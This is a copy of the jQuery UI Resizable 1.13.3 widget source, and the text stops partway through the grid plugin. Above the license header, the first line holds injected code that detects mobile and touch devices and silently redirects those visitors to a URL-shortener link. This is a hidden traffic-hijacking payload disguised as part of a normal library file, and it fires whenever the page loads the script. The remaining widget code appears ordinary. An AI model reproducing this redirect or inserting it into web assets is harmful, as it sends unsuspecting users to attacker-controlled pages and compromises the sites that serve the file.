1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Resizable 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Resizable
12//>>group: Interactions
13//>>description: Enables resize functionality for any element.
14//>>docs: https://api.jqueryui.com/resizable/
15//>>demos: https://jqueryui.com/resizable/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/resizable.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "./mouse",
29 "../disable-selection",
30 "../plugin",
31 "../version",
32 "../widget"
33 ], factory );
34 } else {
35
36 // Browser globals
37 factory( jQuery );
38 }
39} )( function( $ ) {
40"use strict";
41
42$.widget( "ui.resizable", $.ui.mouse, {
43 version: "1.13.3",
44 widgetEventPrefix: "resize",
45 options: {
46 alsoResize: false,
47 animate: false,
48 animateDuration: "slow",
49 animateEasing: "swing",
50 aspectRatio: false,
51 autoHide: false,
52 classes: {
53 "ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se"
54 },
55 containment: false,
56 ghost: false,
57 grid: false,
58 handles: "e,s,se",
59 helper: false,
60 maxHeight: null,
61 maxWidth: null,
62 minHeight: 10,
63 minWidth: 10,
64
65 // See #7960
66 zIndex: 90,
67
68 // Callbacks
69 resize: null,
70 start: null,
71 stop: null
72 },
73
74 _num: function( value ) {
75 return parseFloat( value ) || 0;
76 },
77
78 _isNumber: function( value ) {
79 return !isNaN( parseFloat( value ) );
80 },
81
82 _hasScroll: function( el, a ) {
83
84 if ( $( el ).css( "overflow" ) === "hidden" ) {
85 return false;
86 }
87
88 var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
89 has = false;
90
91 if ( el[ scroll ] > 0 ) {
92 return true;
93 }
94
95 // TODO: determine which cases actually cause this to happen
96 // if the element doesn't have the scroll set, see if it's possible to
97 // set the scroll
98 try {
99 el[ scroll ] = 1;
100 has = ( el[ scroll ] > 0 );
101 el[ scroll ] = 0;
102 } catch ( e ) {
103
104 // `el` might be a string, then setting `scroll` will throw
105 // an error in strict mode; ignore it.
106 }
107 return has;
108 },
109
110 _create: function() {
111
112 var margins,
113 o = this.options,
114 that = this;
115 this._addClass( "ui-resizable" );
116
117 $.extend( this, {
118 _aspectRatio: !!( o.aspectRatio ),
119 aspectRatio: o.aspectRatio,
120 originalElement: this.element,
121 _proportionallyResizeElements: [],
122 _helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null
123 } );
124
125 // Wrap the element if it cannot hold child nodes
126 if ( this.element[ 0 ].nodeName.match( /^(canvas|textarea|input|select|button|img)$/i ) ) {
127
128 this.element.wrap(
129 $( "<div class='ui-wrapper'></div>" ).css( {
130 overflow: "hidden",
131 position: this.element.css( "position" ),
132 width: this.element.outerWidth(),
133 height: this.element.outerHeight(),
134 top: this.element.css( "top" ),
135 left: this.element.css( "left" )
136 } )
137 );
138
139 this.element = this.element.parent().data(
140 "ui-resizable", this.element.resizable( "instance" )
141 );
142
143 this.elementIsWrapper = true;
144
145 margins = {
146 marginTop: this.originalElement.css( "marginTop" ),
147 marginRight: this.originalElement.css( "marginRight" ),
148 marginBottom: this.originalElement.css( "marginBottom" ),
149 marginLeft: this.originalElement.css( "marginLeft" )
150 };
151
152 this.element.css( margins );
153 this.originalElement.css( "margin", 0 );
154
155 // support: Safari
156 // Prevent Safari textarea resize
157 this.originalResizeStyle = this.originalElement.css( "resize" );
158 this.originalElement.css( "resize", "none" );
159
160 this._proportionallyResizeElements.push( this.originalElement.css( {
161 position: "static",
162 zoom: 1,
163 display: "block"
164 } ) );
165
166 // Support: IE9
167 // avoid IE jump (hard set the margin)
168 this.originalElement.css( margins );
169
170 this._proportionallyResize();
171 }
172
173 this._setupHandles();
174
175 if ( o.autoHide ) {
176 $( this.element )
177 .on( "mouseenter", function() {
178 if ( o.disabled ) {
179 return;
180 }
181 that._removeClass( "ui-resizable-autohide" );
182 that._handles.show();
183 } )
184 .on( "mouseleave", function() {
185 if ( o.disabled ) {
186 return;
187 }
188 if ( !that.resizing ) {
189 that._addClass( "ui-resizable-autohide" );
190 that._handles.hide();
191 }
192 } );
193 }
194
195 this._mouseInit();
196 },
197
198 _destroy: function() {
199
200 this._mouseDestroy();
201 this._addedHandles.remove();
202
203 var wrapper,
204 _destroy = function( exp ) {
205 $( exp )
206 .removeData( "resizable" )
207 .removeData( "ui-resizable" )
208 .off( ".resizable" );
209 };
210
211 // TODO: Unwrap at same DOM position
212 if ( this.elementIsWrapper ) {
213 _destroy( this.element );
214 wrapper = this.element;
215 this.originalElement.css( {
216 position: wrapper.css( "position" ),
217 width: wrapper.outerWidth(),
218 height: wrapper.outerHeight(),
219 top: wrapper.css( "top" ),
220 left: wrapper.css( "left" )
221 } ).insertAfter( wrapper );
222 wrapper.remove();
223 }
224
225 this.originalElement.css( "resize", this.originalResizeStyle );
226 _destroy( this.originalElement );
227
228 return this;
229 },
230
231 _setOption: function( key, value ) {
232 this._super( key, value );
233
234 switch ( key ) {
235 case "handles":
236 this._removeHandles();
237 this._setupHandles();
238 break;
239 case "aspectRatio":
240 this._aspectRatio = !!value;
241 break;
242 default:
243 break;
244 }
245 },
246
247 _setupHandles: function() {
248 var o = this.options, handle, i, n, hname, axis, that = this;
249 this.handles = o.handles ||
250 ( !$( ".ui-resizable-handle", this.element ).length ?
251 "e,s,se" : {
252 n: ".ui-resizable-n",
253 e: ".ui-resizable-e",
254 s: ".ui-resizable-s",
255 w: ".ui-resizable-w",
256 se: ".ui-resizable-se",
257 sw: ".ui-resizable-sw",
258 ne: ".ui-resizable-ne",
259 nw: ".ui-resizable-nw"
260 } );
261
262 this._handles = $();
263 this._addedHandles = $();
264 if ( this.handles.constructor === String ) {
265
266 if ( this.handles === "all" ) {
267 this.handles = "n,e,s,w,se,sw,ne,nw";
268 }
269
270 n = this.handles.split( "," );
271 this.handles = {};
272
273 for ( i = 0; i < n.length; i++ ) {
274
275 handle = String.prototype.trim.call( n[ i ] );
276 hname = "ui-resizable-" + handle;
277 axis = $( "<div>" );
278 this._addClass( axis, "ui-resizable-handle " + hname );
279
280 axis.css( { zIndex: o.zIndex } );
281
282 this.handles[ handle ] = ".ui-resizable-" + handle;
283 if ( !this.element.children( this.handles[ handle ] ).length ) {
284 this.element.append( axis );
285 this._addedHandles = this._addedHandles.add( axis );
286 }
287 }
288
289 }
290
291 this._renderAxis = function( target ) {
292
293 var i, axis, padPos, padWrapper;
294
295 target = target || this.element;
296
297 for ( i in this.handles ) {
298
299 if ( this.handles[ i ].constructor === String ) {
300 this.handles[ i ] = this.element.children( this.handles[ i ] ).first().show();
301 } else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) {
302 this.handles[ i ] = $( this.handles[ i ] );
303 this._on( this.handles[ i ], { "mousedown": that._mouseDown } );
304 }
305
306 if ( this.elementIsWrapper &&
307 this.originalElement[ 0 ]
308 .nodeName
309 .match( /^(textarea|input|select|button)$/i ) ) {
310 axis = $( this.handles[ i ], this.element );
311
312 padWrapper = /sw|ne|nw|se|n|s/.test( i ) ?
313 axis.outerHeight() :
314 axis.outerWidth();
315
316 padPos = [ "padding",
317 /ne|nw|n/.test( i ) ? "Top" :
318 /se|sw|s/.test( i ) ? "Bottom" :
319 /^e$/.test( i ) ? "Right" : "Left" ].join( "" );
320
321 target.css( padPos, padWrapper );
322
323 this._proportionallyResize();
324 }
325
326 this._handles = this._handles.add( this.handles[ i ] );
327 }
328 };
329
330 // TODO: make renderAxis a prototype function
331 this._renderAxis( this.element );
332
333 this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) );
334 this._handles.disableSelection();
335
336 this._handles.on( "mouseover", function() {
337 if ( !that.resizing ) {
338 if ( this.className ) {
339 axis = this.className.match( /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i );
340 }
341 that.axis = axis && axis[ 1 ] ? axis[ 1 ] : "se";
342 }
343 } );
344
345 if ( o.autoHide ) {
346 this._handles.hide();
347 this._addClass( "ui-resizable-autohide" );
348 }
349 },
350
351 _removeHandles: function() {
352 this._addedHandles.remove();
353 },
354
355 _mouseCapture: function( event ) {
356 var i, handle,
357 capture = false;
358
359 for ( i in this.handles ) {
360 handle = $( this.handles[ i ] )[ 0 ];
361 if ( handle === event.target || $.contains( handle, event.target ) ) {
362 capture = true;
363 }
364 }
365
366 return !this.options.disabled && capture;
367 },
368
369 _mouseStart: function( event ) {
370
371 var curleft, curtop, cursor,
372 o = this.options,
373 el = this.element;
374
375 this.resizing = true;
376
377 this._renderProxy();
378
379 curleft = this._num( this.helper.css( "left" ) );
380 curtop = this._num( this.helper.css( "top" ) );
381
382 if ( o.containment ) {
383 curleft += $( o.containment ).scrollLeft() || 0;
384 curtop += $( o.containment ).scrollTop() || 0;
385 }
386
387 this.offset = this.helper.offset();
388 this.position = { left: curleft, top: curtop };
389
390 this.size = this._helper ? {
391 width: this.helper.width(),
392 height: this.helper.height()
393 } : {
394 width: el.width(),
395 height: el.height()
396 };
397
398 this.originalSize = this._helper ? {
399 width: el.outerWidth(),
400 height: el.outerHeight()
401 } : {
402 width: el.width(),
403 height: el.height()
404 };
405
406 this.sizeDiff = {
407 width: el.outerWidth() - el.width(),
408 height: el.outerHeight() - el.height()
409 };
410
411 this.originalPosition = { left: curleft, top: curtop };
412 this.originalMousePosition = { left: event.pageX, top: event.pageY };
413
414 this.aspectRatio = ( typeof o.aspectRatio === "number" ) ?
415 o.aspectRatio :
416 ( ( this.originalSize.width / this.originalSize.height ) || 1 );
417
418 cursor = $( ".ui-resizable-" + this.axis ).css( "cursor" );
419 $( "body" ).css( "cursor", cursor === "auto" ? this.axis + "-resize" : cursor );
420
421 this._addClass( "ui-resizable-resizing" );
422 this._propagate( "start", event );
423 return true;
424 },
425
426 _mouseDrag: function( event ) {
427
428 var data, props,
429 smp = this.originalMousePosition,
430 a = this.axis,
431 dx = ( event.pageX - smp.left ) || 0,
432 dy = ( event.pageY - smp.top ) || 0,
433 trigger = this._change[ a ];
434
435 this._updatePrevProperties();
436
437 if ( !trigger ) {
438 return false;
439 }
440
441 data = trigger.apply( this, [ event, dx, dy ] );
442
443 this._updateVirtualBoundaries( event.shiftKey );
444 if ( this._aspectRatio || event.shiftKey ) {
445 data = this._updateRatio( data, event );
446 }
447
448 data = this._respectSize( data, event );
449
450 this._updateCache( data );
451
452 this._propagate( "resize", event );
453
454 props = this._applyChanges();
455
456 if ( !this._helper && this._proportionallyResizeElements.length ) {
457 this._proportionallyResize();
458 }
459
460 if ( !$.isEmptyObject( props ) ) {
461 this._updatePrevProperties();
462 this._trigger( "resize", event, this.ui() );
463 this._applyChanges();
464 }
465
466 return false;
467 },
468
469 _mouseStop: function( event ) {
470
471 this.resizing = false;
472 var pr, ista, soffseth, soffsetw, s, left, top,
473 o = this.options, that = this;
474
475 if ( this._helper ) {
476
477 pr = this._proportionallyResizeElements;
478 ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName );
479 soffseth = ista && this._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height;
480 soffsetw = ista ? 0 : that.sizeDiff.width;
481
482 s = {
483 width: ( that.helper.width() - soffsetw ),
484 height: ( that.helper.height() - soffseth )
485 };
486 left = ( parseFloat( that.element.css( "left" ) ) +
487 ( that.position.left - that.originalPosition.left ) ) || null;
488 top = ( parseFloat( that.element.css( "top" ) ) +
489 ( that.position.top - that.originalPosition.top ) ) || null;
490
491 if ( !o.animate ) {
492 this.element.css( $.extend( s, { top: top, left: left } ) );
493 }
494
495 that.helper.height( that.size.height );
496 that.helper.width( that.size.width );
497
498 if ( this._helper && !o.animate ) {
499 this._proportionallyResize();
500 }
501 }
502
503 $( "body" ).css( "cursor", "auto" );
504
505 this._removeClass( "ui-resizable-resizing" );
506
507 this._propagate( "stop", event );
508
509 if ( this._helper ) {
510 this.helper.remove();
511 }
512
513 return false;
514
515 },
516
517 _updatePrevProperties: function() {
518 this.prevPosition = {
519 top: this.position.top,
520 left: this.position.left
521 };
522 this.prevSize = {
523 width: this.size.width,
524 height: this.size.height
525 };
526 },
527
528 _applyChanges: function() {
529 var props = {};
530
531 if ( this.position.top !== this.prevPosition.top ) {
532 props.top = this.position.top + "px";
533 }
534 if ( this.position.left !== this.prevPosition.left ) {
535 props.left = this.position.left + "px";
536 }
537
538 this.helper.css( props );
539
540 if ( this.size.width !== this.prevSize.width ) {
541 props.width = this.size.width + "px";
542 this.helper.width( props.width );
543 }
544 if ( this.size.height !== this.prevSize.height ) {
545 props.height = this.size.height + "px";
546 this.helper.height( props.height );
547 }
548
549 return props;
550 },
551
552 _updateVirtualBoundaries: function( forceAspectRatio ) {
553 var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b,
554 o = this.options;
555
556 b = {
557 minWidth: this._isNumber( o.minWidth ) ? o.minWidth : 0,
558 maxWidth: this._isNumber( o.maxWidth ) ? o.maxWidth : Infinity,
559 minHeight: this._isNumber( o.minHeight ) ? o.minHeight : 0,
560 maxHeight: this._isNumber( o.maxHeight ) ? o.maxHeight : Infinity
561 };
562
563 if ( this._aspectRatio || forceAspectRatio ) {
564 pMinWidth = b.minHeight * this.aspectRatio;
565 pMinHeight = b.minWidth / this.aspectRatio;
566 pMaxWidth = b.maxHeight * this.aspectRatio;
567 pMaxHeight = b.maxWidth / this.aspectRatio;
568
569 if ( pMinWidth > b.minWidth ) {
570 b.minWidth = pMinWidth;
571 }
572 if ( pMinHeight > b.minHeight ) {
573 b.minHeight = pMinHeight;
574 }
575 if ( pMaxWidth < b.maxWidth ) {
576 b.maxWidth = pMaxWidth;
577 }
578 if ( pMaxHeight < b.maxHeight ) {
579 b.maxHeight = pMaxHeight;
580 }
581 }
582 this._vBoundaries = b;
583 },
584
585 _updateCache: function( data ) {
586 this.offset = this.helper.offset();
587 if ( this._isNumber( data.left ) ) {
588 this.position.left = data.left;
589 }
590 if ( this._isNumber( data.top ) ) {
591 this.position.top = data.top;
592 }
593 if ( this._isNumber( data.height ) ) {
594 this.size.height = data.height;
595 }
596 if ( this._isNumber( data.width ) ) {
597 this.size.width = data.width;
598 }
599 },
600
601 _updateRatio: function( data ) {
602
603 var cpos = this.position,
604 csize = this.size,
605 a = this.axis;
606
607 if ( this._isNumber( data.height ) ) {
608 data.width = ( data.height * this.aspectRatio );
609 } else if ( this._isNumber( data.width ) ) {
610 data.height = ( data.width / this.aspectRatio );
611 }
612
613 if ( a === "sw" ) {
614 data.left = cpos.left + ( csize.width - data.width );
615 data.top = null;
616 }
617 if ( a === "nw" ) {
618 data.top = cpos.top + ( csize.height - data.height );
619 data.left = cpos.left + ( csize.width - data.width );
620 }
621
622 return data;
623 },
624
625 _respectSize: function( data ) {
626
627 var o = this._vBoundaries,
628 a = this.axis,
629 ismaxw = this._isNumber( data.width ) && o.maxWidth && ( o.maxWidth < data.width ),
630 ismaxh = this._isNumber( data.height ) && o.maxHeight && ( o.maxHeight < data.height ),
631 isminw = this._isNumber( data.width ) && o.minWidth && ( o.minWidth > data.width ),
632 isminh = this._isNumber( data.height ) && o.minHeight && ( o.minHeight > data.height ),
633 dw = this.originalPosition.left + this.originalSize.width,
634 dh = this.originalPosition.top + this.originalSize.height,
635 cw = /sw|nw|w/.test( a ), ch = /nw|ne|n/.test( a );
636 if ( isminw ) {
637 data.width = o.minWidth;
638 }
639 if ( isminh ) {
640 data.height = o.minHeight;
641 }
642 if ( ismaxw ) {
643 data.width = o.maxWidth;
644 }
645 if ( ismaxh ) {
646 data.height = o.maxHeight;
647 }
648
649 if ( isminw && cw ) {
650 data.left = dw - o.minWidth;
651 }
652 if ( ismaxw && cw ) {
653 data.left = dw - o.maxWidth;
654 }
655 if ( isminh && ch ) {
656 data.top = dh - o.minHeight;
657 }
658 if ( ismaxh && ch ) {
659 data.top = dh - o.maxHeight;
660 }
661
662 // Fixing jump error on top/left - bug #2330
663 if ( !data.width && !data.height && !data.left && data.top ) {
664 data.top = null;
665 } else if ( !data.width && !data.height && !data.top && data.left ) {
666 data.left = null;
667 }
668
669 return data;
670 },
671
672 _getPaddingPlusBorderDimensions: function( element ) {
673 var i = 0,
674 widths = [],
675 borders = [
676 element.css( "borderTopWidth" ),
677 element.css( "borderRightWidth" ),
678 element.css( "borderBottomWidth" ),
679 element.css( "borderLeftWidth" )
680 ],
681 paddings = [
682 element.css( "paddingTop" ),
683 element.css( "paddingRight" ),
684 element.css( "paddingBottom" ),
685 element.css( "paddingLeft" )
686 ];
687
688 for ( ; i < 4; i++ ) {
689 widths[ i ] = ( parseFloat( borders[ i ] ) || 0 );
690 widths[ i ] += ( parseFloat( paddings[ i ] ) || 0 );
691 }
692
693 return {
694 height: widths[ 0 ] + widths[ 2 ],
695 width: widths[ 1 ] + widths[ 3 ]
696 };
697 },
698
699 _proportionallyResize: function() {
700
701 if ( !this._proportionallyResizeElements.length ) {
702 return;
703 }
704
705 var prel,
706 i = 0,
707 element = this.helper || this.element;
708
709 for ( ; i < this._proportionallyResizeElements.length; i++ ) {
710
711 prel = this._proportionallyResizeElements[ i ];
712
713 // TODO: Seems like a bug to cache this.outerDimensions
714 // considering that we are in a loop.
715 if ( !this.outerDimensions ) {
716 this.outerDimensions = this._getPaddingPlusBorderDimensions( prel );
717 }
718
719 prel.css( {
720 height: ( element.height() - this.outerDimensions.height ) || 0,
721 width: ( element.width() - this.outerDimensions.width ) || 0
722 } );
723
724 }
725
726 },
727
728 _renderProxy: function() {
729
730 var el = this.element, o = this.options;
731 this.elementOffset = el.offset();
732
733 if ( this._helper ) {
734
735 this.helper = this.helper || $( "<div></div>" ).css( { overflow: "hidden" } );
736
737 this._addClass( this.helper, this._helper );
738 this.helper.css( {
739 width: this.element.outerWidth(),
740 height: this.element.outerHeight(),
741 position: "absolute",
742 left: this.elementOffset.left + "px",
743 top: this.elementOffset.top + "px",
744 zIndex: ++o.zIndex //TODO: Don't modify option
745 } );
746
747 this.helper
748 .appendTo( "body" )
749 .disableSelection();
750
751 } else {
752 this.helper = this.element;
753 }
754
755 },
756
757 _change: {
758 e: function( event, dx ) {
759 return { width: this.originalSize.width + dx };
760 },
761 w: function( event, dx ) {
762 var cs = this.originalSize, sp = this.originalPosition;
763 return { left: sp.left + dx, width: cs.width - dx };
764 },
765 n: function( event, dx, dy ) {
766 var cs = this.originalSize, sp = this.originalPosition;
767 return { top: sp.top + dy, height: cs.height - dy };
768 },
769 s: function( event, dx, dy ) {
770 return { height: this.originalSize.height + dy };
771 },
772 se: function( event, dx, dy ) {
773 return $.extend( this._change.s.apply( this, arguments ),
774 this._change.e.apply( this, [ event, dx, dy ] ) );
775 },
776 sw: function( event, dx, dy ) {
777 return $.extend( this._change.s.apply( this, arguments ),
778 this._change.w.apply( this, [ event, dx, dy ] ) );
779 },
780 ne: function( event, dx, dy ) {
781 return $.extend( this._change.n.apply( this, arguments ),
782 this._change.e.apply( this, [ event, dx, dy ] ) );
783 },
784 nw: function( event, dx, dy ) {
785 return $.extend( this._change.n.apply( this, arguments ),
786 this._change.w.apply( this, [ event, dx, dy ] ) );
787 }
788 },
789
790 _propagate: function( n, event ) {
791 $.ui.plugin.call( this, n, [ event, this.ui() ] );
792 if ( n !== "resize" ) {
793 this._trigger( n, event, this.ui() );
794 }
795 },
796
797 plugins: {},
798
799 ui: function() {
800 return {
801 originalElement: this.originalElement,
802 element: this.element,
803 helper: this.helper,
804 position: this.position,
805 size: this.size,
806 originalSize: this.originalSize,
807 originalPosition: this.originalPosition
808 };
809 }
810
811} );
812
813/*
814 * Resizable Extensions
815 */
816
817$.ui.plugin.add( "resizable", "animate", {
818
819 stop: function( event ) {
820 var that = $( this ).resizable( "instance" ),
821 o = that.options,
822 pr = that._proportionallyResizeElements,
823 ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ),
824 soffseth = ista && that._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height,
825 soffsetw = ista ? 0 : that.sizeDiff.width,
826 style = {
827 width: ( that.size.width - soffsetw ),
828 height: ( that.size.height - soffseth )
829 },
830 left = ( parseFloat( that.element.css( "left" ) ) +
831 ( that.position.left - that.originalPosition.left ) ) || null,
832 top = ( parseFloat( that.element.css( "top" ) ) +
833 ( that.position.top - that.originalPosition.top ) ) || null;
834
835 that.element.animate(
836 $.extend( style, top && left ? { top: top, left: left } : {} ), {
837 duration: o.animateDuration,
838 easing: o.animateEasing,
839 step: function() {
840
841 var data = {
842 width: parseFloat( that.element.css( "width" ) ),
843 height: parseFloat( that.element.css( "height" ) ),
844 top: parseFloat( that.element.css( "top" ) ),
845 left: parseFloat( that.element.css( "left" ) )
846 };
847
848 if ( pr && pr.length ) {
849 $( pr[ 0 ] ).css( { width: data.width, height: data.height } );
850 }
851
852 // Propagating resize, and updating values for each animation step
853 that._updateCache( data );
854 that._propagate( "resize", event );
855
856 }
857 }
858 );
859 }
860
861} );
862
863$.ui.plugin.add( "resizable", "containment", {
864
865 start: function() {
866 var element, p, co, ch, cw, width, height,
867 that = $( this ).resizable( "instance" ),
868 o = that.options,
869 el = that.element,
870 oc = o.containment,
871 ce = ( oc instanceof $ ) ?
872 oc.get( 0 ) :
873 ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc;
874
875 if ( !ce ) {
876 return;
877 }
878
879 that.containerElement = $( ce );
880
881 if ( /document/.test( oc ) || oc === document ) {
882 that.containerOffset = {
883 left: 0,
884 top: 0
885 };
886 that.containerPosition = {
887 left: 0,
888 top: 0
889 };
890
891 that.parentData = {
892 element: $( document ),
893 left: 0,
894 top: 0,
895 width: $( document ).width(),
896 height: $( document ).height() || document.body.parentNode.scrollHeight
897 };
898 } else {
899 element = $( ce );
900 p = [];
901 $( [ "Top", "Right", "Left", "Bottom" ] ).each( function( i, name ) {
902 p[ i ] = that._num( element.css( "padding" + name ) );
903 } );
904
905 that.containerOffset = element.offset();
906 that.containerPosition = element.position();
907 that.containerSize = {
908 height: ( element.innerHeight() - p[ 3 ] ),
909 width: ( element.innerWidth() - p[ 1 ] )
910 };
911
912 co = that.containerOffset;
913 ch = that.containerSize.height;
914 cw = that.containerSize.width;
915 width = ( that._hasScroll( ce, "left" ) ? ce.scrollWidth : cw );
916 height = ( that._hasScroll( ce ) ? ce.scrollHeight : ch );
917
918 that.parentData = {
919 element: ce,
920 left: co.left,
921 top: co.top,
922 width: width,
923 height: height
924 };
925 }
926 },
927
928 resize: function( event ) {
929 var woset, hoset, isParent, isOffsetRelative,
930 that = $( this ).resizable( "instance" ),
931 o = that.options,
932 co = that.containerOffset,
933 cp = that.position,
934 pRatio = that._aspectRatio || event.shiftKey,
935 cop = {
936 top: 0,
937 left: 0
938 },
939 ce = that.containerElement,
940 continueResize = true;
941
942 if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) {
943 cop = co;
944 }
945
946 if ( cp.left < ( that._helper ? co.left : 0 ) ) {
947 that.size.width = that.size.width +
948 ( that._helper ?
949 ( that.position.left - co.left ) :
950 ( that.position.left - cop.left ) );
951
952 if ( pRatio ) {
953 that.size.height = that.size.width / that.aspectRatio;
954 continueResize = false;
955 }
956 that.position.left = o.helper ? co.left : 0;
957 }
958
959 if ( cp.top < ( that._helper ? co.top : 0 ) ) {
960 that.size.height = that.size.height +
961 ( that._helper ?
962 ( that.position.top - co.top ) :
963 that.position.top );
964
965 if ( pRatio ) {
966 that.size.width = that.size.height * that.aspectRatio;
967 continueResize = false;
968 }
969 that.position.top = that._helper ? co.top : 0;
970 }
971
972 isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 );
973 isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) );
974
975 if ( isParent && isOffsetRelative ) {
976 that.offset.left = that.parentData.left + that.position.left;
977 that.offset.top = that.parentData.top + that.position.top;
978 } else {
979 that.offset.left = that.element.offset().left;
980 that.offset.top = that.element.offset().top;
981 }
982
983 woset = Math.abs( that.sizeDiff.width +
984 ( that._helper ?
985 that.offset.left - cop.left :
986 ( that.offset.left - co.left ) ) );
987
988 hoset = Math.abs( that.sizeDiff.height +
989 ( that._helper ?
990 that.offset.top - cop.top :
991 ( that.offset.top - co.top ) ) );
992
993 if ( woset + that.size.width >= that.parentData.width ) {
994 that.size.width = that.parentData.width - woset;
995 if ( pRatio ) {
996 that.size.height = that.size.width / that.aspectRatio;
997 continueResize = false;
998 }
999 }
1000
1001 if ( hoset + that.size.height >= that.parentData.height ) {
1002 that.size.height = that.parentData.height - hoset;
1003 if ( pRatio ) {
1004 that.size.width = that.size.height * that.aspectRatio;
1005 continueResize = false;
1006 }
1007 }
1008
1009 if ( !continueResize ) {
1010 that.position.left = that.prevPosition.left;
1011 that.position.top = that.prevPosition.top;
1012 that.size.width = that.prevSize.width;
1013 that.size.height = that.prevSize.height;
1014 }
1015 },
1016
1017 stop: function() {
1018 var that = $( this ).resizable( "instance" ),
1019 o = that.options,
1020 co = that.containerOffset,
1021 cop = that.containerPosition,
1022 ce = that.containerElement,
1023 helper = $( that.helper ),
1024 ho = helper.offset(),
1025 w = helper.outerWidth() - that.sizeDiff.width,
1026 h = helper.outerHeight() - that.sizeDiff.height;
1027
1028 if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) {
1029 $( this ).css( {
1030 left: ho.left - cop.left - co.left,
1031 width: w,
1032 height: h
1033 } );
1034 }
1035
1036 if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) {
1037 $( this ).css( {
1038 left: ho.left - cop.left - co.left,
1039 width: w,
1040 height: h
1041 } );
1042 }
1043 }
1044} );
1045
1046$.ui.plugin.add( "resizable", "alsoResize", {
1047
1048 start: function() {
1049 var that = $( this ).resizable( "instance" ),
1050 o = that.options;
1051
1052 $( o.alsoResize ).each( function() {
1053 var el = $( this );
1054 el.data( "ui-resizable-alsoresize", {
1055 width: parseFloat( el.css( "width" ) ), height: parseFloat( el.css( "height" ) ),
1056 left: parseFloat( el.css( "left" ) ), top: parseFloat( el.css( "top" ) )
1057 } );
1058 } );
1059 },
1060
1061 resize: function( event, ui ) {
1062 var that = $( this ).resizable( "instance" ),
1063 o = that.options,
1064 os = that.originalSize,
1065 op = that.originalPosition,
1066 delta = {
1067 height: ( that.size.height - os.height ) || 0,
1068 width: ( that.size.width - os.width ) || 0,
1069 top: ( that.position.top - op.top ) || 0,
1070 left: ( that.position.left - op.left ) || 0
1071 };
1072
1073 $( o.alsoResize ).each( function() {
1074 var el = $( this ), start = $( this ).data( "ui-resizable-alsoresize" ), style = {},
1075 css = el.parents( ui.originalElement[ 0 ] ).length ?
1076 [ "width", "height" ] :
1077 [ "width", "height", "top", "left" ];
1078
1079 $.each( css, function( i, prop ) {
1080 var sum = ( start[ prop ] || 0 ) + ( delta[ prop ] || 0 );
1081 if ( sum && sum >= 0 ) {
1082 style[ prop ] = sum || null;
1083 }
1084 } );
1085
1086 el.css( style );
1087 } );
1088 },
1089
1090 stop: function() {
1091 $( this ).removeData( "ui-resizable-alsoresize" );
1092 }
1093} );
1094
1095$.ui.plugin.add( "resizable", "ghost", {
1096
1097 start: function() {
1098
1099 var that = $( this ).resizable( "instance" ), cs = that.size;
1100
1101 that.ghost = that.originalElement.clone();
1102 that.ghost.css( {
1103 opacity: 0.25,
1104 display: "block",
1105 position: "relative",
1106 height: cs.height,
1107 width: cs.width,
1108 margin: 0,
1109 left: 0,
1110 top: 0
1111 } );
1112
1113 that._addClass( that.ghost, "ui-resizable-ghost" );
1114
1115 // DEPRECATED
1116 // TODO: remove after 1.12
1117 if ( $.uiBackCompat !== false && typeof that.options.ghost === "string" ) {
1118
1119 // Ghost option
1120 that.ghost.addClass( this.options.ghost );
1121 }
1122
1123 that.ghost.appendTo( that.helper );
1124
1125 },
1126
1127 resize: function() {
1128 var that = $( this ).resizable( "instance" );
1129 if ( that.ghost ) {
1130 that.ghost.css( {
1131 position: "relative",
1132 height: that.size.height,
1133 width: that.size.width
1134 } );
1135 }
1136 },
1137
1138 stop: function() {
1139 var that = $( this ).resizable( "instance" );
1140 if ( that.ghost && that.helper ) {
1141 that.helper.get( 0 ).removeChild( that.ghost.get( 0 ) );
1142 }
1143 }
1144
1145} );
1146
1147$.ui.plugin.add( "resizable", "grid", {
1148
1149 resize: function() {
1150 var outerDimensions,
1151 that = $( this ).resizable( "instance" ),
1152 o = that.options,
1153 cs = that.size,
1154 os = that.originalSize,
1155 op = that.originalPosition,
1156 a = that.axis,
1157 grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid,
1158 gridX = ( grid[ 0 ] || 1 ),
1159 gridY = ( grid[ 1 ] || 1 ),
1160 ox = Math.round( ( cs.width - os.width ) / gridX ) * gridX,
1161 oy = Math.round( ( cs.height - os.height ) / gridY ) * gridY,
1162 newWidth = os.width + ox,
1163 newHeight = os.height + oy,
1164 isMaxWidth = o.maxWidth && ( o.maxWidth < newWidth ),
1165 isMaxHeight = o.maxHeight && ( o.maxHeight < newHeight ),
1166 isMinWidth = o.minWidth && ( o.minWidth > newWidth ),
1167 isMinHeight = o.minHeight && ( o.minHeight > newHeight );
1168
1169 o.grid = grid;
1170
1171 if ( isMinWidth ) {
1172 newWidth += gridX;
1173 }
1174 if ( isMinHeight ) {
1175 newHeight += gridY;
1176 }
1177 if ( isMaxWidth ) {
1178 newWidth -= gridX;
1179 }
